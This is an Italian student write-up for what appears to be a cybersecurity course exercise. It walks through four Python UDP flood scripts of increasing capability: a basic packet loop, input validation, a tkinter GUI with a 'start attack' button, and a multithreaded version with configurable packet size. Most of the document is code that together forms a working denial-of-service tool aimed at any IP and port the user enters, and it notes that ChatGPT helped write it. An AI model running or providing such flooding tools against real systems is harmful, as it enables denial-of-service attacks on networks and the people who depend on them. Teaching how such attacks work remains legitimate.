Esercitazione S6-L3

Per questa esercitazione ho scritto diversi codici in Python aiutandomi con **ChatGPT**. Di seguito i codici elencati e spiegati dal più semplice al più complesso.

- **udpflood1.py**

Il primo codice è stato scritto utilizzando 2 librerie note, già utilizzate durante il corso:

```
import socket
import random
```

socket viene utilizzata per la creazione di un **socket** con indirizzo **IPv4** (**.AF_INET**) e con riferimento il protocollo **UDP** (**.SOCK_DGRAM**)

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
```

e per l'invio di pacchetti, al target inserito in input dall'utente, tramite la funzione **.sendto**.

```
sock.sendto(packet, (target_ip, target_port))
```

In questo caso, la variabile **packet** indica il pacchetto da inviare, mentre **target_ip** e **target_port** indicando l'indirizzo IP e la porta target data dall'utente.
Per la creazione di **packet**, viene invece utilizzata la libreria **random**, tramite la funzione **.u_random**, in grado di generare casualmente un certo numero di byte (in questo caso **packet_size=1024**).

```
packet = random._urandom(packet_size)
```

Vediamo ora come si comporta in generale il codice:

Definisce una funzione **udp_flood()**

```
def udp_flood():
```

Chiede all'utente indirizzo IP e porta del target e il numero di pacchetti da inviare.

```
target_ip = input("Inserisci l'indirizzo IP della macchina target: ")
   target_port = int(input("Inserisci il numero di porta UDP della macchina target: "))
   num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))
   packet_size = 1024
```

entra in automatico in un ciclo **try**, crea il **socket** e comunica l'inizio dell'attacco

```
try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        print(f"Inizio dell'attacco UDP flood su {target_ip}:{target_port}")
```

Crea il pacchetto

```
packet = random._urandom(packet_size)
```

Entra in un ciclo **for** dove la variabile **i** assume i valori da 0 a **num_packets**-1. Ad ogni giro del ciclo, il pacchetto viene mandato al target e viene **printato** il numero del pacchetto inviato.

```
for i in range(num_packets):
            sock.sendto(packet, (target_ip, target_port))
            print(f"Pacchetto {i + 1}/{num_packets} inviato")
```

Al termine del ciclo, comunica “attacco terminato”.
Se qualcosa nel ciclo **try** dovesse andare storto, viene visualizzato un messaggio di errore.
Infine il **socket** viene “chiuso”.

```
print("Attacco completato.")
    except Exception as e:
        print(f"Errore: {e}")
    finally:
        sock.close()
```

Infine, viene creato il programma vero e proprio nel quale è richiamata la funzione scritta precedentemente. La condizione **if** permette l’esecuzione del codice se esso viene eseguito come modulo principale.

```
if __name__ == "__main__":
    udp_flood()
```

- ## udpflood2.py

Una volta creato il codice base **udpflood1.py**, mi sono accorto che il codice prestava il fianco a dei casi limite. Infatti il codice non era ad esempio in grado di distinguere un indirizzo IP valido da un non valido, o un numero di porta corretto (**1**<=**target_port**<=**65535**) da uno errato. Così ho corretto tali problemi con l’aiuto di **ChatGPT**.
Ho importato un’altra libreria

```
import ipaddress
```

la quale mi permette di riconoscere gli indirizzi IP corretti.
Ciò grazie ad un **try** inserito che, una volta preso in input l’indirizzo, lo controlla utilizzando la libreria **ipaddress**.
Se l’indirizzo IP è valido, la funzione va avanti, altrimenti finisce nell’**except**, mostra un messaggio di errore e la funzione si interrompe.

```
target_ip = input("Inserisci l'indirizzo IP della macchina target: ")
      try:
```

```
            ipaddress.ip_address(target_ip)
        except ValueError:
            print("Errore: Indirizzo IP non valido.")
            return
```

Il controllo della porta inserita avviene tramite un **if**.
Se la stringa **target_port** non contiene solo numeri decimali o è vuota oppure se non è compresa tra **1** e **65535** (1 e 65535 compresi), viene visualizzato un messaggio di errore e la funzione si interrompe, altrimenti prosegue e "trasforma" **target_port** da stringa a intero (**int**).

```
target_port = input("Inserisci il numero di porta UDP della macchina target: ")
        if not target_port.isdigit() or not (1 <= int(target_port) <= 65535):
            print("Errore: La porta deve essere un numero intero compreso tra 1 e 65535.")
            return
        target_port = int(target_port)
```

Il numero di pacchetti inserito viene anch'esso controllato con un **if**.
Se la stringa **num_packtets** non contiene solo numeri decimali o è vuota o se contiene numeri **<=0**, viene visualizzato un messaggio di errore e la funzione si interrompe.

```
num_packets = input("Inserisci il numero di pacchetti da inviare: ")
        if not num_packets.isdigit() or int(num_packets) <= 0:
            print("Errore: Il numero di pacchetti deve essere un intero positivo.")
            return
        num_packets = int(num_packets)
```

Successivamente il codice prosegue come visto precedentemente per **udpflood1.py**, fatta eccezione per l'inserimento di un **except** che permette l'interruzione del programma da parte dell'utente (**Ctrl+C**).

```
except KeyboardInterrupt:
        print("Attacco interrotto dall'utente.")
```

- ## udpflood3.py

Il terzo codice non applica particolari migliorie, ma aggiunge una componente grafica al tutto, in modo da rendere il codice più semplice da utilizzare.
Questo risultato è ottenuto grazie ad un'altra libreria.

```
import tkinter as tk
from tkinter import messagebox
```

Vediamo i passaggi più importanti di questo codice.

Creazione della finestra principale visualizzata e impostazioni geometriche.

```
root = tk.Tk()
root.title("UDP Flood Attack")
root.geometry("600x400")
```

Creazione titoli e spazi inserimento dati.

```
label_ip = tk.Label(root, text="Indirizzo IP della macchina target:")
label_ip.pack()
entry_ip = tk.Entry(root, width=30)
entry_ip.pack()
label_port = tk.Label(root, text="Numero di porta UDP:")
label_port.pack()
entry_port = tk.Entry(root, width=30)
entry_port.pack()
```

Inserimento pulsante di avvio programma (richiama la funzione **start_attack**).

```
start_button = tk.Button(root, text="Inizia attacco", command=start_attack)
start_button.pack(pady=10)
```

Creazione dell'area di visualizzazione messaggi, con relative impostazioni geometriche e messaggio di “Benvenuto”.

```
log_text = tk.Text(root, width=70, height=15, wrap=tk.WORD)
log_text.pack(pady=10)
log_text.insert(tk.END, "Benvenuto! Inserisci i parametri e clicca 'Inizia
attacco' per avviare l'attacco UDP.\n")
```

Ottenimento indirizzo IP e porta dalle caselle di inserimento viste prima grazie al comando **get**.

```
target_ip = entry_ip.get()
target_port = int(entry_port.get())
```

Visualizzazione eventuali messaggi di errore mediante **messagebox**.

```
messagebox.showerror("Errore", "Indirizzo IP non valido.")
```

Inserimento di messaggi su ciò che sta accadendo nell’apposita casella **log_text** (creata in precedenza) tramite comando **.insert** e scorrimento della casella tramite **.yview**.
Esempio:

```
for i in range(num_packets):
            sock.sendto(packet, (target_ip, target_port))  # Invio del pacchetto
            log_text.insert(tk.END, f"Pacchetto {i + 1}/{num_packets} inviato\n")
            log_text.yview(tk.END)
```

Avvio **GUI**:

```
root.mainloop()
```

- **udpflood4.py**

L'ultimo è un codice avanzato che aggiunge il threading e pensato per utenti esperti. Esso infatti permette di inserire in input anche la dimensione dei pacchetti e il numero di threads.
Librerie utilizzate:

```
import socket
import random
import ipaddress
import tkinter as tk
from tkinter import messagebox
import threading
import os
```

Il codice si compone di diverse funzioni:

- **def send_packets ()**

Questa funzione si occupa dell'invio di pacchetti per singolo **thread**. Essa è strutturata come i codici visti in precedenza, infatti creerà un **socket** con **socket.socket** per poi inviare i pacchetti generati con **.sendto**.
L'unica differenza risiede nella generazione dei pacchetti, infatti qui al posto della funzione **random.u_random**, viene utilizzata la libreria **os**

```
packet = os.urandom(packet_size)
```

- **def validate_input ()**

Tale funzione si occupa di verificare che gli input inseriti siano corretti grazie ai meccanismi visti già in **udpflood2.py**.

- **def start_attack ()**

Tale funzione si occupa dell'attacco vero e proprio.
Essa prende in input tutti i valori inseriti dall'utente nell'interfaccia (**get**).

```
target_ip = entry_ip.get()
    target_port = entry_port.get()
    num_packets = entry_packets.get()
    packet_size = entry_size.get()
    num_threads = entry_threads.get()
```

Tramite un **if** richiama **validate_input** e verifica che non ci siano errori

```
if not validate_input(target_ip, target_port, num_packets, packet_size, num_threads):
        return
```

Entra in un ciclo **for** che effettua un numero di giri pari a **num_threads** (numero threads inserito da utente).
Ad ogni giro, tramite **threading.Thread**, crea un thread, ovvero unità di esecuzione in grado di lavorare in parallelo tra loro.
Ognuno di questi thread richiamerà **send_packets** e tutti gli argomenti necessari (**args**) per poi essere avviato (**.start()**)

```
for _ in range(num_threads):
       threading.Thread(target=send_packets, args=(target_ip, int(target_port), num_packets
// num_threads, packet_size), daemon=True).start()
```

- **GUI**

Il resto delle istruzione servono a creare la GUI in modo analogo a quanto isto in **udpflood3.py.**